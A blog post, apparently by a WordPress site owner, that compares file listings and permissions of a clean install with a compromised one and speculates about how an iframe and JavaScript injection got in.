source: RIPE #Filtered Permissions Permissions are important, and here is where it gets confusion, I am not sure If it was I that left the permissions on this specific account so open (757) or if someone else logged in and did it, or if there was some WordPress vulnerability that was able to do this, but the permissions on all the files were different than my safe and unaffected installs. I am assuming that there is some vulnerability in WordPress that allows a user to write to these directories if the permissions are set in such a way, but I have no evidence or lead as to what it was that did it. Notice in the examples below that the dirty folder structure has wp-settings.php modified sometime in September, but other wp- files modified around the same day of installation, this was not me, as I modifying it to fix it on the 13th. Example Clean Folder Structure rw-r–r– 1 root root 561 Jun 2 13:53 .htaccess -rw-r–r– 1 root root 397 Sep 15 15:16 index.php -rw-r–r– 1 root root 16899 Sep 15 15:17 license.txt -rw-r–r– 1 root root 9202 Sep 15 15:16 readme.html -rw-r–r– 1 root root 4343 Sep 15 15:16 wp-activate.php drwxr-xrwx 9 root root 4096 Sep 15 15:17 wp-admin -rw-r–r– 1 root root 40243 Sep 15 15:16 wp-app.php -rw-r–r– 1 root root 226 Sep 15 15:16 wp-atom.php -rw-r–r– 1 root root 274 Sep 15 15:16 wp-blog-header.php -rw-r–r– 1 root root 3931 Sep 15 15:16 wp-comments-post.php -rw-r–r– 1 root root 244 Sep 15 15:16 wp-commentsrss2.php -rwxr-xrwx 1 root root 3471 Sep 19 10:04 wp-config.php -rw-r–r– 1 root root 3177 Sep 15 15:16 wp-config-sample.php drwxr-xrwx 8 root root 4096 Sep 19 10:04 wp-content -rw-r–r– 1 root root 1255 Sep 15 15:16 wp-cron.php -rw-r–r– 1 root root 246 Sep 15 15:16 wp-feed.php drwxr-xrwx 8 root root 4096 Sep 15 15:17 wp-includes -rw-r–r– 1 root root 1997 Sep 15 15:16 wp-links-opml.php -rw-r–r– 1 root root 2525 Sep 15 15:16 wp-load.php -rw-r–r– 1 root root 27601 Sep 15 15:16 wp-login.php -rw-r–r– 1 root root 7774 Sep 15 15:16 wp-mail.php -rw-r–r– 1 root root 494 Sep 15 15:16 wp-pass.php -rw-r–r– 1 root root 224 Sep 15 15:17 wp-rdf.php -rw-r–r– 1 root root 334 Sep 15 15:17 wp-register.php -rw-r–r– 1 root root 226 Sep 15 15:16 wp-rss2.php -rw-r–r– 1 root root 224 Sep 15 15:16 wp-rss.php -rw-r–r– 1 root root 9839 Sep 15 15:17 wp-settings.php -rw-r–r– 1 root root 18646 Sep 15 15:17 wp-signup.php -rw-r–r– 1 root root 3702 Sep 15 15:17 wp-trackback.php -rw-r–r– 1 root root 3266 Sep 15 15:16 xmlrpc.php Example Dirty Folder Structure drwxr-xr-x 5 root root 4096 Sep 29 23:05 . drwxr-xr-x 3 root root 4096 Oct 10 17:42 .. -rwxr-xr-x 1 root root 200 Aug 25 17:29 .htaccess -rwxr-xrwx 1 root root 397 May 25 2008 index.php -rwxr-xrwx 1 root root 16899 Jun 8 13:18 license.txt -rwxr-xrwx 1 root root 9202 Jul 12 13:24 readme.html -rwxr-xrwx 1 root root 4343 May 6 22:26 wp-activate.php drwxr-xrwx 9 root root 4096 Jul 12 14:24 wp-admin -rwxr-xrwx 1 root root 40243 Jun 1 17:03 wp-app.php -rwxr-xrwx 1 root root 226 Dec 9 2010 wp-atom.php -rwxr-xrwx 1 root root 274 Nov 20 2010 wp-blog-header.php -rwxr-xrwx 1 root root 3931 Dec 9 2010 wp-comments-post.php -rwxr-xrwx 1 root root 244 Dec 9 2010 wp-commentsrss2.php -rwxr-xrwx 1 root root 3166 Aug 24 19:21 wp-config.php drwxr-xrwx 6 root root 4096 Oct 12 19:21 wp-content -rwxr-xrwx 1 root root 1255 Mar 16 2010 wp-cron.php -rwxr-xrwx 1 root root 246 Dec 9 2010 wp-feed.php drwxr-xrwx 8 root root 4096 Sep 30 01:35 wp-includes -rwxr-xrwx 1 root root 1997 Oct 23 2010 wp-links-opml.php -rwxr-xrwx 1 root root 2525 Jun 29 11:50 wp-load.php -rwxr-xrwx 1 root root 27601 Jun 22 14:45 wp-login.php -rwxr-xrwx 1 root root 7774 May 25 2010 wp-mail.php -rwxr-xrwx 1 root root 494 Dec 9 2010 wp-pass.php -rwxr-xrwx 1 root root 224 Dec 9 2010 wp-rdf.php -rwxr-xrwx 1 root root 334 Dec 9 2010 wp-register.php -rwxr-xrwx 1 root root 226 Dec 9 2010 wp-rss2.php -rwxr-xrwx 1 root root 224 Dec 9 2010 wp-rss.php -rwxr-xrwx 1 root root 10969 Sep 12 05:39 wp-settings.php -rwxr-xrwx 1 root root 18646 May 22 17:30 wp-signup.php -rwxr-xrwx 1 root root 3702 Feb 24 2010 wp-trackback.php -rwxr-xrwx 1 root root 3266 Apr 17 03:35 xmlrpc.php The Questions How did it get in? I have no idea. My permissions were set way too losely on this site, I believe they were set to 757 whereas all my others are 755 or less. This gives public access to write to the server. Still…what did they use to access and write to the server? There was only one username, my box has no other user accounts on it, and FTP is disabled, I only use SSH and SFTP. It is puzzling, any insights or suggestions are appreciated. Who are these Russians / Germans that are hosting these sites? What are they trying to pull? I would love to recreate the injection on my own on a clean box and browser to see what javascript and data it pulls from the other sites, I’d have to install something to sniff out the data coming between the injected iFrame and javascript and the site, but thats for another day when I actually have time! My next step should probably be to e-mail these people, or give them a ring, see if they even know this is happening through their servers. I hope this article has been helpful, I look forward to further analysis in comments!  

Read more